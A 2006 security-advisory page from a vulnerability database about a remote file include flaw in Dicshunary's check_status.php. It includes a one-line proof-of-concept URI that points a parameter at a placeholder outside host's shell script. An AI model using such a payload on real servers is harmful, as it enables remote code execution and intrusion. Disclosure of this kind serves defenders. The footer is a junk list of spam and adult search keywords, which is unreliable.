about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive Talk

exploits , vulnerabilities , articles , Dicshunary Check_Status.PHP Remote File Include Vulnerability


Title Dicshunary Check_Status.PHP Remote File Include Vulnerability
Published 2006-11-17-12:00AM
Updated 2006-11-20-09:20PM
Class Input Validation Error
CVE  
Remote  Yes
Local  No
Credit  TAnha and Dr.Pantagon are credited with the discovery of this vulnerability.
Vulnerable  Dischunary Dischunary 0.1 alpha
Not Vulnerable  
Code   An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/check_status.php?dischunary_root_path=http://www.example2.com/shell?

Sample exploit code has also been provided: /data/vulnerabilities/exploits/21162.pl
TXT  t3xt 1t!


Advertising

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 06:36:39 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
bbs.xtklyy www.1010px bbs.lt99.c free sex g all cartoo boa httpd news for c esmtp 5.0 nude india MS060 Ws_ftp exp www.zshong njzhaoshen maxcpm.inf nude sania Www.asinon news for c www.sinodi news for c MS06-036 www.sexsca maxcpm.inf ezi www.uggboo 2.4 remote www.yahoom masalaactr honers.cn Moviesex news for c pinaysexsc Irsex http:/busc 2.4.20 idios Zeroboard- Tyra banks www.squido krishmakap www.pcbxy. BTP00003P0 Ashanti Jalandhar www.78yw.c pinaysexsc irani gril xxx sxe a...oolbar Images of news for c